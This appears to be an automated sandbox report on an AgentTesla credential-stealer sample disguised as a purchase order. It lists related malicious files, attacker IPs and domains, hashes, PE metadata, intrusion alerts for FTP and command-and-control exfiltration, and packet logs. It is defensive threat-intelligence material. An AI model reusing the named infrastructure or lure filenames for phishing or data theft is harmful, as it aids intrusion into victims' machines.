	Kuwait Offer48783929281-BZ2.exe	Get hash	malicious	AgentTesla	Browse
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse
	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Get hash	malicious	AgentTesla	Browse
	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
103.191.208.122	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ftp.alternatifplastik.com	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Kuwait Offer48783929281-BZ2.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
s-part-0044.t-0009.fb-t-msedge.net	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse	13.107.253.72
	PAYMENT APPLICATION.xls	Get hash	malicious	Unknown	Browse	13.107.253.72
	Change_To_Null.ps1	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://ggoryo.com/trade/da.php?11254	Get hash	malicious	Unknown	Browse	13.107.253.72
	Scan08.10.24(Massimiliano.benso)CQDM.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	http://js.schema-forms.org	Get hash	malicious	Unknown	Browse	13.107.253.72
	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse	13.107.253.72
	Aew8SXjXEb.exe	Get hash	malicious	Stealc	Browse	13.107.253.72
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	13.107.253.72
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	13.107.253.72
rubberpartsmanufacturers.com	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ALASTYRTR	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Kuwait Offer48783929281-BZ2.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_7862679238279-GITTERSTAR-UUE-EUROPE-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	4wwi2Lh5W4.exe	Get hash	malicious	Unknown	Browse	103.169.142.0
	xQOrkxePXD.exe	Get hash	malicious	Remcos	Browse	103.186.117.228
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	na.elf	Get hash	malicious	Mirai	Browse	103.33.73.172
	Remittance_Regulvar.htm	Get hash	malicious	Unknown	Browse	103.67.200.72
	2LgQzImW3E.elf	Get hash	malicious	Mirai	Browse	103.183.119.56
	Quote.exe	Get hash	malicious	Remcos	Browse	103.186.117.77
	f8fKadLyb4.elf	Get hash	malicious	Mirai	Browse	150.203.163.29
	zYJYK66EGb.exe	Get hash	malicious	Remcos	Browse	103.186.116.195
	na.elf	Get hash	malicious	Unknown	Browse	134.150.211.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	GsZkXAmf61.exe	Get hash	malicious	Celestial Rat	Browse	103.191.208.122
	Rechnung-62671596778856538170.vbs	Get hash	malicious	PureLog Stealer	Browse	103.191.208.122
	kNyZqDECXJ.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	103.191.208.122
	MiLa0yslQQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122
	https://imago-technologies.com/	Get hash	malicious	Unknown	Browse	103.191.208.122
	7DI4iYwcvw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122
	RFQ 2413AM-KE2800.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122
	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse	103.191.208.122
	SAS #U00e7#U0131kt#U0131.PDF.exe	Get hash	malicious	Unknown	Browse	103.191.208.122
	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	103.191.208.122

Process:	C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	6.02843317883365
Encrypted:	false
SSDEEP:	768:L4lCZTEnqqVW1ZwqBMHlfXfLHTwfxlgqkCWIU:E1qqV8wqevfPWuCG
MD5:	7EDAA96C807197B45FFB4F442AB3BFAA
SHA1:	A87DB0D82F05E80B4511667C01305993D9265806
SHA-256:	359C1E634D4B0D664443DCA2EF11D6F5D68DCD381D56845E9212766B8B67E64F
SHA-512:	5D8C898DBD2CEA8CC0F76AE315AB6AD0E6B466EC78DDC9F3F5D4987329A6DCC924ACF0C9F431A4093F64A99E7CC4F1038E4E6233330A27E4C53DE8DD91E45FE4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.g................................. ........@.. ....................................`.................................4...W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................p.......H..........h-..........dz..h............................................0..........(......s....&.0..e........(.....(.....(.....s....% .x..("...o....%....s....o....}.....{...........s....o.....(.....{....o....b.(....(....(.....(....&...0............8......X...2...(.... .y..("...o.... -y..("... .......o....&Z(.....(....u....o........&&....0..2.........+).s...... .x..("...o........,..o.......&...,........................%*.......0...........(.....s....%....s....o....%

C:\Users\user\AppData\Roaming\Fqhnalw.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.02843317883365
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	GEFA-Order 232343-68983689.exe
File size:	39'936 bytes
MD5:	7edaa96c807197b45ffb4f442ab3bfaa
SHA1:	a87db0d82f05e80b4511667c01305993d9265806
SHA256:	359c1e634d4b0d664443dca2ef11d6f5d68dcd381d56845e9212766b8b67e64f
SHA512:	5d8c898dbd2cea8cc0f76ae315ab6ad0e6b466ec78ddc9f3f5d4987329a6dcc924acf0c9f431a4093f64a99e7cc4f1038e4e6233330a27e4c53de8dd91e45fe4
SSDEEP:	768:L4lCZTEnqqVW1ZwqBMHlfXfLHTwfxlgqkCWIU:E1qqV8wqevfPWuCG
TLSH:	DC033A0C33CD7A12C77C6A7E86F7560C43F461F72613D38A9F8421A45853FA1AA1BB52
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.g................................. ........@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40b08e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x670666A9 [Wed Oct 9 11:19:05 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb034	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9094	0x9200	1465902bc6a66091e5a7cebea983d74a	False	0.5851616010273972	data	6.154726154463115	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x600	0x600	d5cc1c1939657c287c0f167b54dfe361	False	0.4186197916666667	data	4.105685477879507	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe000	0xc	0x200	31279fef8d644844c11c01f3de958b66	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc0a0	0x32c	data			0.4224137931034483
RT_MANIFEST	0xc3cc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-09T15:01:45.449007+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.9	49766	5.2.84.236	21	TCP
2024-10-09T15:01:46.061718+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49775	5.2.84.236	58997	TCP
2024-10-09T15:01:46.068204+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49775	5.2.84.236	58997	TCP
2024-10-09T15:02:02.253420+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.9	49853	5.2.84.236	21	TCP
2024-10-09T15:02:02.887826+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49865	5.2.84.236	63612	TCP
2024-10-09T15:02:02.893477+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49865	5.2.84.236	63612	TCP
2024-10-09T15:02:10.076009+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.9	49894	5.2.84.236	21	TCP
2024-10-09T15:02:10.692825+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49905	5.2.84.236	65429	TCP
2024-10-09T15:02:10.698545+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49905	5.2.84.236	65429	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 15:01:36.715274096 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:36.715291023 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:36.715399981 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:36.778202057 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:36.778232098 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:37.798445940 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:37.798619032 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:37.818757057 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:37.818778992 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:37.819107056 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:37.868273020 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:37.884084940 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:37.927421093 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.352433920 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.352462053 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.352469921 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.352543116 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.352581978 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.399560928 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.585192919 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.585206985 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.585237980 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.585417032 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.585417032 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.585794926 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.585803986 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.585886002 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.586973906 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.586982012 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.587085009 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.587830067 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.587837934 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.587925911 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.818195105 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.818207979 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.818356991 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.818367958 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.818397045 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.818427086 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.818464041 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.818610907 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.818670988 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.819511890 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.819582939 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.820477962 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.820537090 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.821583033 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.821671009 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:38.822643995 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:38.822721958 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.050187111 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.050199986 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.050261021 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.050437927 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.050488949 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.050905943 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.050961971 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.051270008 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.051331043 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.051848888 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.051909924 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.052089930 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.052148104 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.052784920 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.052854061 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.053344011 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.053409100 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.053570986 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.053627014 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.054265022 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.054311037 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.054338932 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.054491043 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.054552078 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.055268049 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.055324078 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.138804913 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.138932943 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.139041901 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.139101982 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.139286995 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.139360905 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.282710075 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.282871008 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.282993078 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.283051014 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.283163071 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.283230066 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.283390045 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.283467054 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.283592939 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.283653975 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.283780098 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.283840895 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.284044981 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.284105062 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.284184933 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.284243107 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.284389019 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.284442902 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.284668922 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.284718990 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.284858942 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.284913063 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.285000086 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.285053015 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.285213947 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.285274029 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.285434961 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.285487890 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.285558939 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.285615921 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.285898924 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.285952091 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.372782946 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.372936010 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.372946024 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.372993946 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.373028994 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.373035908 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.373064041 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.373083115 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.373106956 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.373126030 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.373234034 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.373332977 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.373555899 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.373610973 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.373627901 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.373641014 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.373687029 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.373687029 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.373992920 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.374028921 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.374082088 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.374094009 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.374145985 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.374145985 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.374602079 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.374670982 CEST	49727	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:39.374686003 CEST	443	49727	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:39.374727964 CEST	443	49727	103.191.208.122	192.168.2.9
